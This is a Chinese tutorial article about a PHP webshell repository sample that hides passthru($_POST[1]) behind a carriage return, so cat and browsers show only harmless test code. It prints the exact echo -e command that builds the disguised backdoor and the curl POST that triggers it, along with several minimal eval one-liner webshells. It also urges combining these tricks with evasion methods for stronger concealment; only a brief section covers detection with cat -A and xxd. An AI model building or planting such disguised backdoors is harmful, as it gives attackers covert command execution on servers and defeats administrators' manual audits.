webshell 仓库实战:基于回车符(\r)覆盖显示的 PHP 微型 Webshell 伪装技术解析
【免费下载链接】webshellThis is a webshell open source project项目地址: https://gitcode.com/gh_mirrors/we/webshell
导读
本文围绕仓库 php/tw/2015-09-12.md 记录的一种经典 PHP 微型 Webshell 伪装手法展开:利用回车符\r在终端中的"光标回行首覆盖显示"特性,让管理员用cat查看文件时只见一段无害的 PHP 测试代码,而浏览器访问时页面也呈现为正常内容,真正执行命令的passthru($_POST[1])则被隐藏在同行的回车符之后。读完本文,你将掌握该伪装 Webshell 的构造命令、浏览器 / 终端 / 命令执行三重视角下的验证手法,理解其生效边界,并能结合仓库中 一句话木马的精简史.md、short_shell.md 等资源看懂整个 PHP 一句话木马家族的进化脉络。
一、为什么需要伪装:微型 Webshell 的存活之道
在攻防对抗中,PHP 一句话木马长期面临两类检查:
- 人工审计:运维或安全人员使用
cat、编辑器、grep直接阅读可疑 PHP 文件,特征明显的eval、assert、passthru极易被一眼识破; - 静态扫描:安全设备与查杀引擎按特征匹配
$_POST、passthru、eval等关键字组合。
因此,微型 Webshell 的"伪装"价值在于:代码真实存在且可被 PHP 正常执行,但肉眼与常规工具不易察觉其恶意本质。本文要讲的回车符覆盖手法正是这一类"隐藏而非加密"的经典思路——它不消除特征,而是利用显示层缺陷制造视觉盲区。
仓库中同类思路的旁证还有 极其隐蔽的pHp小马穿插在正常页面中.php:该小马以 HTML 注释伪装成页面作者信息,实际逻辑为"当 GET 参数hackers等于2b且请求方法为 POST 时,将上传文件复制到当前目录",同样追求"混入正常页面、不引人注意"。
二、核心原理:回车符\r如何"骗过"眼睛
先区分两个常被混淆的控制字符:
| 控制符 | 十六进制 | 作用 |
|---|---|---|
\r(CR,Carriage Return) | 0x0D | 将光标移回当前行行首,不换行 |
\n(LF,Line Feed) | 0x0A | 将光标下移一行(Unix 换行) |
在遵循 CR 语义的终端(如 Linux 终端、部分串口/模拟终端)中,向同一行依次输出A、\r、B时,显示结果不是AB,而是B覆盖在A的位置上,最终屏幕上只看到B。也就是说:先输出的内容在物理上仍存在于文件/流中,但视觉上被回车符之后的内容覆盖。
利用这一点,可以把一行文本设计成"前段恶意 +\r+ 后段无害"的结构:
- 对
cat等按字符输出到终端的查看方式,后段无害内容覆盖前段恶意代码,肉眼看到的是"正常代码"; - 对浏览器等按 HTML 渲染的空格/回车折叠规则处理的客户端,
\r基本不可见,页面呈现为后段内容; - 但文件真实字节中恶意代码原封不动,PHP 引擎按字节解析执行,后门照常生效。
这正是原文档 php/tw/2015-09-12.md 标题 "Disguising a PHP Micro Webshell"(伪装 PHP 微型 Webshell)的技术根基。
三、构造:一行命令生成伪装 Webshell
原文档给出的核心构造命令如下:
echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > test.php逐段拆解这条命令,注意其中的 shell 转义细节(这决定了生成文件的真实字节):
| 片段 | 含义 |
|---|---|
echo -e | 启用转义序列解释,使\r被解释为回车符0x0D而非字面字符 |
\$ | 在双引号字符串中把$转义为字面量,防止 shell 将$_POST当作未定义变量展开为空串 |
<?php passthru(\$_POST[1])?> | 隐藏的恶意载荷:接收 POST 参数1,交给passthru()执行系统命令 |
; | 字面分号,充当两段输出之间的间隔 |
\r | 回车符,伪装的核心控制字符 |
<?php echo 'A PHP Test '; | 无害的"烟雾弹"代码,用于覆盖显示 |
" | 闭合 shell 字符串(不属于文件内容) |
因此test.php的真实字节序列为:
<?php passthru($_POST[1])?>;<CR><?php echo 'A PHP Test ';把恶意载荷放在回车符之前、烟雾弹放在回车符之后,是保证覆盖方向正确的关键:cat输出时先打印恶意段,遇到\r光标回到行首,随后打印的烟雾弹正好从行首开始覆盖掉前面的恶意字符。
四、验证三连:浏览器 /cat/curl
原文档给出了该 Webshell 三种视角下的验证结果,依次复现如下。
4.1 浏览器视角:页面显示正常内容
部署后将test.php置于 Web 根目录,浏览器访问对应 URL,页面显示:
A PHP Test原因:PHP 引擎执行第一个 PHP 块时,$_POST[1]为空导致passthru()无命令可执行、无输出;随后输出字面;与\r,浏览器按 HTML 折叠空白字符,最终只渲染出第二个 PHP 块输出的A PHP Test。从访问者的角度看,这只是一个普通得不能再普通的测试页面。
4.2 终端视角:cat只显示烟雾弹
在服务器控制台执行:
cat test.php屏幕上呈现的却是:
<?php echo 'A PHP Test ';" ?>这正是回车符覆盖显示的效果:行首的<?php passthru($_POST[1])?>被\r之后输出的<?php echo 'A PHP Test ';覆盖,肉眼只能看到无害片段(原文展示的 cat 结果还保留了行尾的" ?>样式残留,系终端覆盖后的视觉拼接)。注意:覆盖只发生在显示层,文件物理字节并未改变——任何按字节读取文件的工具仍能看到完整恶意代码。
4.3 命令行视角:curl触发隐藏后门
真正执行命令时,向服务器发送 POST 请求,把表单参数1置为要执行的命令:
curl -d 1=id http://www.xxx.xx/xx.phpcurl -d默认以application/x-www-form-urlencoded提交 POST 数据,服务端$_POST[1]即得到字符串id,passthru("id")执行id命令,终端回显当前用户与组信息,与直接在控制台执行id的结果一致。由此,攻击者获得了一条隐蔽的命令执行通道。
五、触发链路:从 POST 参数到系统命令
后门生效的完整链路为:
curl -d 1=id <URL> └─> HTTP POST body: 1=id └─> $_POST[1] = "id" └─> passthru($_POST[1]) ──> 执行外部命令 id └─> 原始输出直通浏览器/终端passthru()是 PHP 执行外部程序并直接输出原始结果的函数,适合命令回显型 Webshell。仓库 cotent01.md 中对同类函数族有对照说明:passthru()执行外部程序并显示原始输出,签名形如passthru(string $command [, int &$return_var]),并给出最小触发样例:
if (isset($_REQUEST['cmd'])) { passthru($_REQUEST['cmd']); }该文档中的实现事实佐证了"HTTP 参数 → 命令执行函数 → 原始输出回显"这一标准触发模式。值得注意的是,本例将注入点从常见的cmd这类"特征参数名"改成了单字符1,进一步降低了人工审计时的敏感度。
六、仓库中的微型化与隐藏家族(延伸阅读)
回车符伪装只是 PHP 微型 Webshell 对抗思路的一支,仓库中保留了大量同主题的姊妹样本,可作为本文主题的纵向延伸:
- 一句话木马的精简史.md:完整记录一句话后门从 98 字节精简到36 字节的每一步,用到了"去掉
?>结束标签、<?php等价于<?=、省略数组键引号、&&短路代替if密码校验"等 PHP 语言特性,最终形态为<?=$_GET[p]==_&&$_GETf;——与本文的\r技巧一样,都属于"利用 PHP 语法/显示特性压缩体积、对抗检测"的思路; - short_shell.md:菜刀配套的跨语言最短一句话对比,PHP 侧给出
<?php @eval($_POST['0']);?>与缩小版<?=eval($_POST[0]);?>,可见"省引号、省标签、短参数名"是通行手法; - 极其隐蔽的pHp小马穿插在正常页面中.php:把上传功能伪装成页面作者信息注释的隐藏式小马;
- 不带引号的pHp一句话.php:针对"安全狗给引号前加
\"的检测习惯,刻意去掉引号写成<?php eval($_POST[1]);?> 密码1; - php一句话 与 php一句话02.txt:收录
eval/assert/$_POST'sa'动态调用 /preg_replace /e修饰符等多种常见一句话变体,可作为触发方式选型的参考。
将本文的\r覆盖思想与上述微型化手法组合(例如对$_GET'f'动态调用型短马同样施加\r覆盖),可以形成更强的视觉隐藏效果,这也是该技术值得深入研究的原因。
七、检测视角:该技术的有效边界与对抗
需要客观指出该伪装手法的有效边界,避免夸大其作用:
- 能骗过:依赖"逐字符输出到终端"的人工
cat抽查、部分按行解析且忽略\r的查看器;浏览器侧的普通人工访问; - 骗不过:任何基于字节匹配的静态扫描。
grep passthru test.php、正则匹配\$_POST\[、\x0d十六进制特征、各类 Webshell 查杀引擎仍能直接命中,因为文件真实字节中恶意载荷与\r特征都完好存在; - 还原手段:检测方只需
cat -A test.php、od -c test.php或xxd test.php查看十六进制视图,^M(即\r)与真正的恶意代码立刻现形。
因此,该技术定位是低成本的视觉伪装与干扰手段,适合"短期存活、混过人工复核"的场景;若要对抗静态特征检测,还需要叠加仓库中其他免杀文档(如 几种实战成功过的webshell的免杀方式.md、bypass.md)所述的编码、混淆、动态调用等手段。
八、结语
回车符\r覆盖显示,是一个极其精巧而廉价的思想:不修改一行恶意逻辑,仅靠一个控制字符的位置安排,就让同一文件在"终端查看"与"真实执行"两个视角下呈现截然不同的面貌。理解它,既是对攻防对抗中"显示层盲区"的深入认识,也是读懂仓库中大量微型化、隐藏化 PHP Webshell 样本(一句话木马的精简史.md、极其隐蔽的pHp小马穿插在正常页面中.php 等)的一把钥匙。防守方同样可以借此明白:人工肉眼审查远不够可靠,以字节为单位的静态检查与十六进制视图核对,才是识别此类伪装的基本功。
【免费下载链接】webshellThis is a webshell open source project项目地址: https://gitcode.com/gh_mirrors/we/webshell
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考